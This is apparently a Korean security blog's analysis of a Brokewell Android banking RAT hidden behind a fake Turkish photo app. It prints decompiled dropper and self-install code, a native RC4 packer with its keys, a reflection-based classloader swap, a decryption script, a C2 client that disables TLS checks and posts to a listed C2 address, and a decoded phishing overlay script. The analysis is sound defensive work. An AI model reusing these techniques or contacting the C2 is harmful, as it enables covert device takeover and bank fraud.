Post

The Hidden Originals – Ti 에서 미탐된 악성코드 분석

정상 앱으로 위장한 악성 APK 의 3단계 보호 메커니즘 과정을 따라가기

The Hidden Originals – Ti 에서 미탐된 악성코드 분석

사진 한 장이 은행 계좌를 비우기까지 — Brokewell 안드로이드 뱅킹 RAT 3단계 보호 메커니즘 추적기

일부 악성코드 분류기에서 정상으로 표기된 APK 가 있어 살펴보던 중 미탐(Undetected)된 악성코드를 발견했다.

TL;DR
터키어 “Fotoğraf(사진)” 앱으로 위장한 APK 가 사용자의 클릭 한 번에 디버그 키로 서명된 두 번째 APK 를 자체 설치하고, 그 안의 ARM64 네이티브 라이브러리가 RC4 로 암호화된 raw 리소스 lekpjwcen 을 풀어 진짜 DEX 를 디스크에 떨군 다음, 리플렉션으로 LoadedApk.mClassLoader 를 통째로 교체한다. 결과는 풀스펙 Brokewell 뱅킹 RAT — VNC 화면 제어, 키로깅, OTP 가로채기, 다국어 뱅킹 오버레이까지 한 세트. 본 글은 그 3단계를 처음부터 끝까지 따라가본 기록이다.

핵심 4 아티팩트:

  • com.android.s2rhhxh — Stage 1 드로퍼 APK
  • com.markfirek — Stage 2 외피 APK (raw 리소스에 들어있음)
  • libEHuABY.so — Stage 2 안의 네이티브 패커
  • stage3.dexlekpjwcen 을 RC4 복호한 진짜 봇 코드

1. 처음 본 인상: “사진 보기” 앱

먼저 매니페스트를 까보면 묘하다.

1
2
3
4
5
6
7
8
9
<application
    android:label="@string/app_name"   <!-- "Fotoğraf" -->
    android:appComponentFactory="androidx.core.app.CoreComponentFactory">
  <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
  ...
  <queries>
    <package android:name="com.markfirek"/>
  </queries>

사진 앱이 왜 다른 APK 를 설치할 권한이 필요할까? 그리고 queries 안의 com.markfirek 은 또 누구인가? 매니페스트가 본인 패키지 외에 다른 패키지를 명시적으로 묻고 있다는 건, 그 패키지를 “내가 깐 뒤에 다시 확인하려는 의도” 라는 신호다.

서명 인증서를 보면 더 노골적이다.

1
Subject: CN=key_s2rhhxh, OU=Development, O=AndroidDev, L=City, ST=State, C=US

O=AndroidDev / L=City / ST=State 같은 자체 서명 패턴. Play 검증을 거친 정상 앱이 아니다.

디컴파일러 로 MainActivity 를 열면 의도가 그대로 드러난다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public final class MainActivity : ComponentActivity() {
    val y = "com.markfirek"
    val x = 0x7F090000  // R.raw.app

    fun onClick() {
        if (!getPackageManager().canRequestPackageInstalls()) {
            startForegroundService(BackgroundService, "start_polling")
            startActivity(Intent("android.settings.MANAGE_UNKNOWN_APP_SOURCES",
                Uri.parse("package:com.android.s2rhhxh")))
        } else {
            installEmbeddedApk()
        }
    }

    fun installEmbeddedApk() {
        if (packageManager.getPackageInfo("com.markfirek", 0) != null) {
            startActivity(packageManager.getLaunchIntentForPackage("com.markfirek"))
            finish()
            return
        }
        // raw/com.markfirek 를 PackageInstaller 로 자체 설치
        val src = resources.openRawResource(R.raw.app)
        val session = packageInstaller.openSession(createSession(MODE_FULL_INSTALL))
        session.openWrite(...).use { dst -> src.copyTo(dst) }
        session.commit(...)
    }
}

raw/com.markfirek 라는 raw 리소스가 통째로 APK 다. UI 는 Jetpack Compose 카드 하나에 "FOTOĞRAFI GÖRMEK İÇİN DEVAM ET'E TIKLAYIN" (“사진을 보려면 ‘계속’을 클릭하세요”) — 그게 전부다. 사진 따위는 없다. 진짜 목적은 사용자가 권한 토글하는 동안 BackgroundService 가 500ms 마다 권한 상태를 폴링하다가 켜지는 순간 자동으로 두 번째 APK 를 까는 거다.

알림은 한 술 더 떠서 자기가 보안 앱인 척 한다.

1
2
3
4
NotificationChannel("security_service_channel", "Güvenlik Servisi", IMPORTANCE_LOW)
    .setDescription("Güvenlik güncellemeleri ve kurulum izin takibi")
// 알림 표시: "Güvenlik servisi çalışıyor / Kurulum izinleri kontrol ediliyor"
//          (보안 서비스 작동 중 / 설치 권한 확인 중)

자기가 “보안 서비스” 라고 주장하는 것 — 안드로이드 멀웨어 사회공학의 클래식이다. 그러는 사이 백그라운드에서는 폴링하면서 사용자가 “알 수 없는 앱 설치 허용”을 켜기만 기다린다.

같은 depth 에서 아래와 같은 Malware-Guide 가 보인다.


2. 두 번째 APK 안으로 — 진짜 의도가 보인다

raw/com.markfirek 을 추출해 분석하면 풍경이 바뀐다. 매니페스트가 노골적이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<manifest package="com.markfirek">
  <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
  <uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"/>
  <uses-permission android:name="android.permission.BIND_DEVICE_ADMIN"/>
  <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  <uses-permission android:name="android.permission.READ_SMS"/>
  <uses-permission android:name="android.permission.SEND_SMS"/>
  <uses-permission android:name="android.permission.BROADCAST_SMS"/>
  <uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION"/>
  <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
  <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
  ...
  <application android:name="com.markfirek.ysjQrfck">
    <service android:name="com.markfirek.p014v"
             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">...
    <service android:name="com.markfirek.p013l"
             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">...
    <receiver android:name="com.markfirek.p040n"
              android:permission="android.permission.BIND_DEVICE_ADMIN">...
    <receiver android:name="com.markfirek.p044j">
      <intent-filter android:priority="9999">
        <action android:name="android.provider.Telephony.SMS_DELIVER"/>
      ...
    <service android:name="com.markfirek.BotJobService"
             android:permission="android.permission.BIND_JOB_SERVICE"/>
    <service android:name="com.markfirek.p095o"
             android:foregroundServiceType="mediaProjection"/>
    ...

BIND_ACCESSIBILITY_SERVICE + BIND_NOTIFICATION_LISTENER_SERVICE + BIND_DEVICE_ADMIN + SMS 풀세트 + MediaProjection + BotJobService. 정상 앱이 단 하나라도 가질 이유가 없는 권한 묶음이다.

인증서를 보면 한 단계 더 노골적이다.

1
2
Subject: CN=Android Debug, OU=Android, O=Unknown, L=Unknown, ST=Unknown, C=US
Validity: 2014-01-01 ~ 2052-05-01

Android SDK 의 기본 debug.keystore 시그니처. Play 스토어가 디버그 키로 서명된 앱을 거부하므로, 이 앱은 처음부터 Play 를 통할 의도가 없는 사이드로드 전용이다.

기대를 잔뜩 안고 dex 디컴파일을 시작했는데…

1
2
3
4
5
6
7
8
9
10
11
Lcom/markfirek/BuildConfig;
Lcom/markfirek/R$attr;
Lcom/markfirek/R$drawable;
Lcom/markfirek/R$id;
Lcom/markfirek/R$layout;
Lcom/markfirek/R$raw;
Lcom/markfirek/R$string;
Lcom/markfirek/R$style;
Lcom/markfirek/R$xml;
Lcom/markfirek/R;
Lcom/markfirek/ysjQrfck;

실제 코드는 ysjQrfck 한 클래스뿐. 매니페스트가 부르고 있는 p014v, p013l, p040n, BotJobService 같은 클래스는 dex 어디에도 없다. 매니페스트가 거짓말을 하고 있다.

ysjQrfck 를 열어보면 답이 나온다.

1
2
3
4
5
6
7
8
9
10
11
12
public class ysjQrfck extends Application {
    static {
        System.loadLibrary("EHuABY");
    }

    protected void attachBaseContext(Context ctx) {
        super.attachBaseContext(ctx);
        odrKVlJOmNEmeOb(ctx);
    }

    public native void odrKVlJOmNEmeOb(Object arg1);
}

전부다. dex 의 모든 코드. Application 의 attachBaseContext 에서 native 함수 하나를 호출하고 끝. 모든 진짜 로직은 libEHuABY.so 안에 있다.

여기서 두 가지가 결정적이다.

  1. attachBaseContext 후킹: 이 메소드는 Application.onCreate 와 모든 컴포넌트 onCreate 보다 먼저 호출된다. 어떤 Activity / Service / Receiver 도 로딩되기 전에 native 가 일을 끝내야 한다.
  2. raw/lekpjwcen 의 정체: dex 안에서 lekpjwcen 을 직접 부르는 코드는 없다. R.raw 에 ID 만 잡혀있을 뿐. 그러면 누가 부를까? → libEHuABY.so 가 JNI 로 직접 부른다.

3. libEHuABY.so — 단 하나의 함수가 하는 일

IDA 에 .so 를 열면 80개쯤 되는 함수가 보이지만, JNI 진입점은 단 하나다.

1
Java_com_markfirek_ysjQrfck_odrKVlJOmNEmeOb  @ 0x1B24

함수명이 곧 호출자다 — JNI 명명 규칙상 com.markfirek.ysjQrfck.odrKVlJOmNEmeOb 가 호출한다. dex 의 그 한 줄짜리 native 메소드가 바로 이 함수와 연결된다.

함수 본체를 따라가면 다음 8단계가 순서대로 실행된다.

(1) 스택 위에 문자열 풀어두기

심볼/문자열 덤프를 피하려고 .rodata 에 모아두지 않고 strcpy 로 스택에 즉시 조립한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
strcpy(v109, "com.markfirek:raw/lekpjwcen");
strcpy(v110, "GBA5LIb0pXvvXEVHRugH8bAH8nPgEiGG");  // ← RC4 키 (32B)
strcpy(v108, "lekpjwcen");
strcpy(v107, "getResources");
strcpy(v106, "()Landroid/content/res/Resources;");
strcpy(v105, "getIdentifier");
strcpy(v104, "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I");
strcpy(v103, "(I)Ljava/io/InputStream;");
strcpy(v102, "available");
strcpy(v100, "android.app.ActivityThread");
strcpy(v99,  "android/app/ActivityThread");
strcpy(v98,  "currentActivityThread");
strcpy(v97,  "()Landroid/app/ActivityThread;");
strcpy(v96,  "getDeclaredField");
strcpy(v95,  "(Ljava/lang/String;)Ljava/lang/reflect/Field;");
strcpy(v94,  "mPackages");
strcpy(v93,  "setAccessible");
strcpy(v92,  "(Ljava/lang/Object;)Ljava/lang/Object;");
strcpy(v87,  "android.app.LoadedApk");
strcpy(v84,  "mClassLoader");
strcpy(v81,  "dalvik/system/DexClassLoader");
strcpy(v80,  "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");
// ...

RC4 키 한 줄이 그냥 있다. 패커치고는 솔직하다.

(2)~(3) 드롭 경로 빌드

1
2
3
// VOMZlQEmYgXtKtS @ 0x2C98
//   ctx.getApplicationInfo().dataDir + "/cache/" + "com.markfirek:raw/lekpjwcen"
//   → /data/data/com.markfirek/cache/com.markfirek:raw/lekpjwcen

DexClassLoader 가 사용할 optimizedDirectory 도 같은 dataDir 로 둔다.

(4) raw/lekpjwcen 적재 (JNI)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ctx.getResources()
v10 = (*env)->CallObjectMethod(env, ctx, methodID_getResources);

// res.getIdentifier("lekpjwcen", "raw", ctx.getPackageName())
v15 = (*env)->CallIntMethod(env, v10, methodID_getIdentifier,
                            jstr("lekpjwcen"), jstr("raw"), jstr(pkg));

// res.openRawResource(id)
v_is = (*env)->CallObjectMethod(env, v10, methodID_openRawResource, v15);

// is.available() / is.read(byte[])
int len = (*env)->CallIntMethod(env, v_is, methodID_available);
jbyteArray jbuf = (*env)->NewByteArray(env, len);
(*env)->CallIntMethod(env, v_is, methodID_read, jbuf);

여기까지가 “Java 가 lekpjwcen 을 어디서 부르냐” 의 답이다. 부르긴 부르는데, Java 코드가 부르는 게 아니라 native 가 JNI 로 직접 부른다. 그래서 dex 에 reference 가 없다.

(5) 네이티브 버퍼로 복사

1
2
3
4
// PrJdTacbjDhkSp @ 0x3260
int len = env->CallIntMethod(jbuf, methodID_length);  // 사실은 GetArrayLength
void *cipher = operator new[](len);
env->GetByteArrayRegion(jbuf, 0, len, cipher);

(6) RC4 복호 — vDNomdinQDvacVS 클래스

KSA 와 PRGA 가 깔끔하게 분리돼 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// vDNomdinQDvacVS::TqqIKOzQRyrkir @ 0x36CC  (RC4 KSA)
for (int i = 0; i < 256; i++) S[i] = i;
int j = 0;
for (int i = 0; i < 256; i++) {
    j = (j + S[i] + key[i % keylen]) & 0xff;
    swap(S[i], S[j]);
}

// vDNomdinQDvacVS::NrqrdKfJhq @ 0x349C  (RC4 PRGA + XOR)
int i = 0, j = 0;
for (int k = 0; k < len; k++) {
    i = (i + 1) & 0xff;
    j = (j + S[i]) & 0xff;
    swap(S[i], S[j]);
    out[k] = cipher[k] ^ S[(S[i] + S[j]) & 0xff];
}

표준 RC4 그대로. 키만 알면 누구나 복호할 수 있다.

(7) 디스크 드롭

1
2
3
FILE *f = fopen("/data/data/com.markfirek/cache/com.markfirek:raw/lekpjwcen", "wb");
fwrite(plain, 1, len, f);
fclose(f);

복호된 파일이 디스크에 그대로 떨어진다. 동적 분석할 거면 여기를 잡으면 된다.

(8) ClassLoader 핫스왑 — 진짜 마법

이 부분이 정적 분석을 진짜 어렵게 만든다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 의사 Java 표현
Class atCls    = Class.forName("android.app.ActivityThread");
Object at      = atCls.getMethod("currentActivityThread").invoke(null);
Field mPkgs    = atCls.getDeclaredField("mPackages");
mPkgs.setAccessible(true);
Map pkgsMap    = (Map) mPkgs.get(at);

Object weakRef = pkgsMap.get(ctx.getPackageName());
Object loadedApk = WeakReference.get(weakRef);   // LoadedApk 인스턴스

Class apkCls   = Class.forName("android.app.LoadedApk");
Field mCL      = apkCls.getDeclaredField("mClassLoader");
mCL.setAccessible(true);
ClassLoader parent = (ClassLoader) mCL.get(loadedApk);

ClassLoader dcl = new DexClassLoader(
      "/data/data/com.markfirek/cache/com.markfirek:raw/lekpjwcen",  // dexPath
      "/data/data/com.markfirek",                                     // optimizedDir
      null,                                                           // libPath
      parent);

mCL.set(loadedApk, dcl);   // ★ 통째로 교체

LoadedApk.mClassLoader 는 ART 가 이 앱의 모든 클래스를 해석할 때 쓰는 기준 ClassLoader 다. 이걸 우리가 만든 DexClassLoader 로 갈아끼우면, 이후 매니페스트의 com.markfirek.p014v, BotJobService, WebViewActivity 같은 컴포넌트가 onCreate 될 때 ART 는 우리가 깐 새 DEX 안의 클래스를 찾아 쓴다.

그래서 외피 dex 가 비어있어도 앱이 동작한다. 매니페스트는 약속만 하고, 그 약속이 지켜지는 시점에는 이미 LoadedApk 의 ClassLoader 가 통째로 새것이다.

이게 libEHuABY.so 의 단일하고 유일한 역할이다 — 앱 초기화의 가장 첫 단계에 DEX 패커를 풀고 ClassLoader 를 교체해서 정적 분석을 무력화하는 것. 진짜 봇 로직은 한 줄도 안 들어있다.


4. Stage 3 DEX — lekpjwcen 의 정체

키를 알았으니 Python 으로 복호한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
KEY = b"GBA5LIb0pXvvXEVHRugH8bAH8nPgEiGG"
data = open("lekpjwcen", "rb").read()        # ← "rb" 필수 (Windows cp949 때문)

S = list(range(256))
j = 0
for i in range(256):
    j = (j + S[i] + KEY[i % len(KEY)]) & 0xff
    S[i], S[j] = S[j], S[i]

i = j = 0
out = bytearray()
for b in data:
    i = (i + 1) & 0xff
    j = (j + S[i]) & 0xff
    S[i], S[j] = S[j], S[i]
    K = S[(S[i] + S[j]) & 0xff]
    out.append(b ^ K)

open("stage3.dex", "wb").write(out)
print(out[:8])    # b'dex\n035\x00'

매직바이트가 dex\n035\0 — 표준 DEX 다. 디컴파일러 에 임포트하면 진짜 봇이 보인다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Lcom/markfirek/BotJobService;
Lcom/markfirek/NotificationPermAct;
Lcom/markfirek/WebViewActivity;
Lcom/markfirek/p013j;
Lcom/markfirek/p013l;       ← NotificationListenerService
Lcom/markfirek/p014v;       ← AccessibilityService
Lcom/markfirek/p040n;       ← DeviceAdminReceiver
Lcom/markfirek/p042k$break;
Lcom/markfirek/p042k$case;
Lcom/markfirek/p042k$catch;
Lcom/markfirek/p042k$class;
Lcom/markfirek/p042k$const;
Lcom/markfirek/p044j;       ← SMS Receiver
Lcom/markfirek/p090s;
Lcom/markfirek/p095g;       ← WapPushReceiver
Lcom/markfirek/p095o;       ← MediaProjection FGS
...
Lfddo/case;
Lfddo/catch;
Lfddo/class;
Lfddo/const;
Lfddo/default;
Lfddo/else;
Lfddo/extends;
Lfddo/fddo;
Lfddo/final;
Lfddo/for;
Lfddo/goto;
Lfddo/ifdf;
Lfddo/import;
Lfddo/throw;
Lfddo/try;
...

매니페스트의 모든 약속이 여기 있다. 그리고 fddo 패키지가 따로 있다 — 클래스명이 전부 Java 예약어(import, extends, final, throw, goto, case, try, class)다. 일부 디컴파일러를 잠재적으로 헷갈리게 하는 트릭.

4.1 첫 핵심: BotJobService

1
2
3
4
5
6
7
8
9
10
public boolean onStartJob(JobParameters params) {
    new Thread(() -> {
        fddo.final.D(getApplicationContext(), true);                  // 디바이스 정보 갱신
        fddo.extends.goto(getApplicationContext(),
            fddo.import.fddo("80f04752b59cf03cfc504df6"),              // 키: ???
            0L);
        fddo.throw.goto(getApplicationContext());                     // C2 핑/등록
    }).start();
    return true;
}

JobScheduler 기반 봇 부트스트랩. 그런데 SharedPreferences 키가 import.fddo("80f04752b59cf03cfc504df6") 라는 hex 함수 호출이다. 모든 민감 문자열이 또 한 번 암호화돼 있다.

4.2 두 번째 RC4

fddo.import 클래스를 보면 답이 나온다.

1
2
3
4
5
6
7
public class import {
    public static String fddo(String hex) {
        return new import("dQc7omRK0aBEWdjLghTDe".getBytes()).for(hex);
    }
    public String for(String s) { return new(try(s)); }   // hex → RC4 → 평문
    // (KSA / PRGA 표준 RC4 동일)
}

또 RC4 다. 다른 키 (dQc7omRK0aBEWdjLghTDe, 21B). 입력은 hex 문자열. 이걸 풀면 SharedPreferences 키, JSON 필드명, C2 URL 가 전부 한꺼번에 드러난다.

Ciphertext (hex)평문
80f04752b59cf03cfc504df6last_request
80f04752b59df03fff504clast_server
81f05d48main (SharedPrefs 이름)
84e54056http
85ff47528b82f928ed6a4ee9e245installed_pkgs
85e26b548f89fc3efd504ce7e1is_registered
88f4424f898bca2ced5857ecda45b2ffdevice_admin_set
80fe574db581fblock_on
8ffe5a528380e028continue
98f85943859be1timeout
84fe47528981fb23ec564ahostconnect
8ff94649878bchrome
bcf0574d8f9ae660fa5050f6Packets-sent
daa20414dbdea27dbc630210705

630210705 는 캠페인/빌드 ID 로 보인다. Packets-sent 는 커스텀 HTTP 헤더. chrome 은 User-Agent 위장용.

4.3 진짜 C2

fddo.final.switch(ctx) 가 C2 URL 을 반환한다.

1
2
3
4
5
public static String switch(Context ctx) {
    String s = extends.new(ctx, "domains", "");   // C2 가 푸시한 새 도메인
    if (!s.isEmpty()) return s;
    return else.fddo;                              // 부트스트랩
}

else.fddo 가 부트스트랩 C2 URL 리스트다. static 초기화 블록에서 RC4(hex) 한 줄로 들어있다.

1
2
3
4
static {
    else.fddo = import.fddo("84e5405699d4ba62b80208acb404e4a59b4a4f72c833c6a6e43479858886bb669e78ea6425587c333b3e9dee07ccf2ad8d70a7e6899de799fb1d6de6e2e7298016e43ddfceba897b77cc70fc6621bf5ef33b29e966563cc94f278ff3f603e23c167cb5a2aa45e25fd97417d9036fba14d7435b3425e9e122fbabd4920bba8757a0dacfb3bac31e947373e83a5b5fb2e32226c4faab8f348d2ec212cd2681db425115c33963490ac17a1f855832185ce4ce57cfb9f408b2697d790b9861caeae09bfbdd8aa2d50f36e62431d10a9b7f9f13e40530876cd6b681010a84dd0a7c485410ab876288...");
    // 1294 hex chars
}

복호하면…

1
2
3
4
https://176.123.1.132/YjI3NmJmNDdhMTkx/|https://344d623b6061ad211f98139844d18f2a5f.com/YjI3NmJmNDdhMTkx/|
https://344d23b6606asd1211f9813c0c4d18f2a5f.com/YjI3NmJmNDdhMTkx/|
https://hh6d23b60asd61211f98139844d18f2a5f.com/YjI3NmJmNDdhMTkx/|
... (총 10개)

Primary: https://176.123.1.132/YjI3NmJmNDdhMTkx/

  • IP 176.123.1.132 → PQ Hosting Plus / Stark Industries (Moldova) — Russia 친화 bulletproof 호스팅
  • 경로 YjI3NmJmNDdhMTkx → base64 디코드 b276bf47a191 (캠페인/봇 ID)
  • 나머지 *.com 도메인 9 개는 무효한 형태 (중복 문자, 키 입력 노이즈) — 시그니처 회피용 노이즈

또 다른 보조 인프라:

1
else.new = "http://www.ip-api.com/json"   // 피해자 공인 IP 수집

ip-api.com 은 정상 서비스지만, 봇은 이걸 호출해서 받은 rIP 를 다음 핑에 같이 보낸다 — VPN 사용 여부 / 지리적 위치 판단용.

4.4 C2 프로토콜 — 풀스펙 RAT

fddo.throw 가 C2 클라이언트다. 핵심만 추리면:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SSL 검증 완전 비활성화 (자체서명 C2 / MITM 친화)
TrustManager[] trust = new TrustManager[]{
    new X509TrustManager() {
        public void checkClientTrusted(X509Certificate[] c, String s) {}  // ← 무조건 통과
        public void checkServerTrusted(X509Certificate[] c, String s) {}  // ← 무조건 통과
        public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
    }};
SSLContext ssl = SSLContext.getInstance("TLS");
ssl.init(null, trust, new SecureRandom());

OkHttpClient client = new OkHttpClient.Builder()
    .sslSocketFactory(ssl.getSocketFactory(), trust[0])
    .hostnameVerifier((host, session) -> true)   // ← 호스트네임도 무조건 OK
    .connectTimeout(60, SECONDS)
    .build();

// 요청: gzip(JSON) POST
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gz = new GZIPOutputStream(baos);
gz.write(json.getBytes("UTF-8"));
gz.close();
Request req = new Request.Builder()
    .url(c2Url)
    .post(RequestBody.create(baos.toByteArray(), JSON))
    .header("Packets-sent", "630210705")
    .header("Content-Encoding", "gzip")
    .build();

// 응답: "<HTTP_CODE>|<RC4(hex)>"
String body = response.body().string();
String[] parts = body.split("\\|", 2);
int code = Integer.parseInt(parts[0]);
String cmd = fddo.final.try(parts[1]);   // 또 RC4 복호

요청도 gzip, 응답도 RC4. 동적 분석으로 패킷을 잡아도 또 RC4 키가 필요하다.

핑 패킷의 JSON 필드들도 전부 암호화돼 있는데, 풀어보면 풀스펙 봇 텔레메트리다.

평문 필드의미
xc패킷 타입 (bR register / bP ping)
tA~tGBuild.RELEASE / MANUFACTURER / MODEL / 언어 / 국가 / 통신사 / 디바이스 ID
lA설치된 모든 패키지 (10분마다 재전송)
iA/dAAccessibility / DeviceAdmin 활성 여부
iAc/iPa/iBC/iCP/iSE/iSp/iFp권한 비트들 (accessibility / 권한 / 배터리 / 통화 / 설정 / SMS / 지문)
kLkeylogger_enabled
vnc“layout:on; screen:on; sound:on; backlight:on; overlay:on;”
fgMforeground (오버레이) 모드
iAg설치 앱 시그니처
rIPip-api.com 결과
nS가로챈 신규 SMS
rZ트랜잭션 레코드 tid1:tr_inner (뱅킹 ATS 결과)
cTsk현재 acsb_task

rZ 의 트랜잭션 레코드, vnc 의 화면 스트리밍 능력 비트맵, kL 의 키로거 토글 — 이게 자동 송금(ATS) + 원격 뱅킹앱 제어 + 키스트로크 캡쳐 가 한 봇 안에 다 들어있다는 증거다.

4.5 다국어 인젝션 — 결정적 시그니처

마지막 발견. fddo.else.else 는 base64 인코딩된 HTML/JS 페이로드 6개 배열이다.

1
2
3
4
5
6
7
8
else.else = new String[] {
    "PHNjcmlwdD4NCnZhciBsYW5nID0gJyVMQU5HJScgLy8gRGV2aWNlIGxhbmd1YWdlIChlbiwgZGUsIGVzKQ0K...",
    "...",  // Bootstrap CSS
    "...",  // FontAwesome
    "...",  // jQuery core
    "...",  // jQuery extras
    "..."   // jQuery JSONP
};

첫 번째를 base64 디코드 한 게 백미다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>
var lang = '%LANG%' // Device language (en, de, es)
var app_title = '%APP_TITLE%' // bot template title ('Android Update')
var is_xiaomi = ('%IS_XIAOMI%' == 'true') // Acsb Settings - Downloaded Services - 'Bot Name' service
var is_samsung = ('%IS_SAMSUNG%' == 'true') // Acsb Settings - Installed Services - 'Bot Name' service

switch(lang) {
    case "pl": // Poland
        enableAcsbService = "Zezwalaj na powiadomienia"
        openDownloadedServices = "Zezwalaj na przesyłanie"
        openInstalledServices = "Włącz powiadomienia o lokalizacji"
        openSettings = "Wejdź w ustawienia"
        setSwitchOn = "Ustaw bonusy"
        break
    case "pt": // Portuguese
        enableAcsbService = "Ativar Acessibilidade Serviço"
        openDownloadedServices = "Abrir <b>'Mais serviços transferidos'</b>"
        openInstalledServices = "Abrir <b>'Serviços instalados'</b>"
        findApp = "Procurar <b>'"+app_title+"'</b>"
        ...
    case "de": // German
        enableAcsbService = "Zugänglichkeitsdienst aktivieren"
        ...
    case "es": // Spanish
        enableAcsbService = "Habilite Servicio de Accesibilidad"
        ...

다국어 접근성 활성화 가이드 페이지가 그대로 들어있다. 폴란드어/포르투갈어/독일어/스페인어 + Xiaomi/Samsung 분기. 이게 사용자에게 “Bot Name 서비스를 켜주세요” 라고 단계별로 손잡고 안내하는 페이크 페이지다.

이 다국어 안내 + bot_smarts + acsb_pages + xc:bP/bR + VNC 능력 비트맵 + RC4 이중 난독화의 조합은 Brokewell 패밀리의 특징 시그니처와 정확히 일치한다.


5. 전체 동작 흐름 그림

이걸 한 그림으로 정리하면 이렇다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[Stage 1] com.android.s2rhhxh "Fotoğraf"
     │
     │  사용자 클릭 → REQUEST_INSTALL_PACKAGES 권한 강요 (500ms 폴링)
     │  PackageInstaller 로 raw/com.markfirek 설치
     ▼
[Stage 2] com.markfirek (디버그 키 서명)
     │
     │  Application: ysjQrfck.attachBaseContext
     │  static { System.loadLibrary("EHuABY"); }
     │  odrKVlJOmNEmeOb(ctx)
     ▼
[libEHuABY.so] @ 0x1B24
     │
     │  (1) JNI: ctx.getResources().getIdentifier("lekpjwcen", "raw", pkg)
     │  (2) JNI: openRawResource(id).read() → byte[]
     │  (3) Native RC4 KSA  (key = "GBA5LIb0pXvvXEVHRugH8bAH8nPgEiGG")
     │  (4) Native RC4 PRGA decrypt
     │  (5) fopen("/data/data/com.markfirek/cache/com.markfirek:raw/lekpjwcen", "wb")
     │      fwrite(plain); fclose()
     │  (6) JNI 리플렉션:
     │      Class.forName("android.app.ActivityThread").currentActivityThread()
     │      .mPackages.get(pkg).get()  // → LoadedApk
     │      .mClassLoader = new DexClassLoader(droppedFile, dataDir, null, parent)
     ▼
[ART resumes Application.onCreate]
     │  매니페스트 컴포넌트들이 새 DexClassLoader 로부터 로딩됨
     ▼
[stage3.dex] (메모리/캐시에만 존재)
     │
     │  fddo.* 패키지 + com.markfirek.* 실제 컴포넌트
     │  fddo.import.fddo(hex) ← RC4(key="dQc7omRK0aBEWdjLghTDe") 문자열 풀기
     │
     ├─ p014v (AccessibilityService) — 자동 클릭/입력 가로채기
     ├─ p013l (NotificationListener) — OTP 가로채기
     ├─ p040n (DeviceAdmin) — 제거 방지
     ├─ p044j (SMS Receiver priority=9999) — SMS abortBroadcast
     ├─ p095o (MediaProjection) — VNC 화면 스트리밍
     ├─ WebViewActivity — HTML/JS 오버레이 인젝션 (다국어)
     └─ BotJobService → fddo.throw.goto(ctx)
              │
              │  60초 주기 핑/등록
              │  HTTPS POST gzip(JSON) → 응답 RC4 명령
              ▼
[C2] https://176.123.1.132/YjI3NmJmNDdhMTkx/  (PQ Hosting, Moldova)

각 단계마다 새로운 보호기술이 한 겹씩 쌓여있다.

단계보호 기술의도
Stage 1사진 앱 위장 + 시스템 보안 알림 사칭 + 권한 강요 폴링사용자 신뢰 + 권한 획득
Stage 1libandroidx.graphics.path.so (decoy 정상 라이브러리)안티바이러스 위양성
Stage 1 → 2APK-in-APK + PackageInstaller 자체 설치Play 검증 우회
Stage 2디버그 키 서명사이드로드 전제
Stage 2매니페스트 30개 컴포넌트 약속, dex 1개 클래스만 실재정적 분석 무력화
Stage 2 → 3네이티브 RC4 패커 + DexClassLoader 핫스왑디스크에 평문 코드 부재
Stage 2 → 3attachBaseContext 후킹모든 컴포넌트 onCreate 이전에 교체 완료
libEHuABY.soC++ 심볼 난수화 + strcpy 스택 조립시그니처/문자열 덤프 회피
Stage 32차 RC4(hex) 문자열 난독화 + Java 예약어 클래스명디컴파일러 혼선 + 분석 시간 폭증
Stage 3TrustManager/Hostname Verifier 무조건 통과자체서명 C2 / MITM 친화
Stage 3gzip 요청/응답 + RC4 응답 페이로드동적 분석에서도 평문 안 보임

6. “악성인가” 질문에 대한 결정적 근거

이 검체가 악성이라고 말하려면 한두 가지 보호 기술만으로는 부족하다. 모든 신호가 같은 방향을 가리켜야 결론을 내릴 수 있다. 이 검체는 8개 독립 지표가 전부 일치한다.

  1. REQUEST_INSTALL_PACKAGES + PackageInstaller 자체 호출 — 사진 앱이 다른 APK 를 깔 이유가 없다
  2. raw 리소스에 APK 가 통째로 — 합법 SDK 업데이트도 이렇게 안 한다
  3. “사진 보려면 계속 클릭” UI 가 앱 유일 기능 — 사회공학 100%
  4. 500ms 권한 강요 폴링 — 사용자가 권한 안 켜도 자동 진행하려는 의도
  5. 알림이 “보안 서비스” 사칭 — 자기가 보안 앱 아닌데 보안 알림으로 표시
  6. 네이티브 RC4 패커 + DexClassLoader 핫스왑 — 정상 앱이 이걸 할 이유가 없다
  7. 디버그 키 서명 — Play 통할 의도 자체가 없다
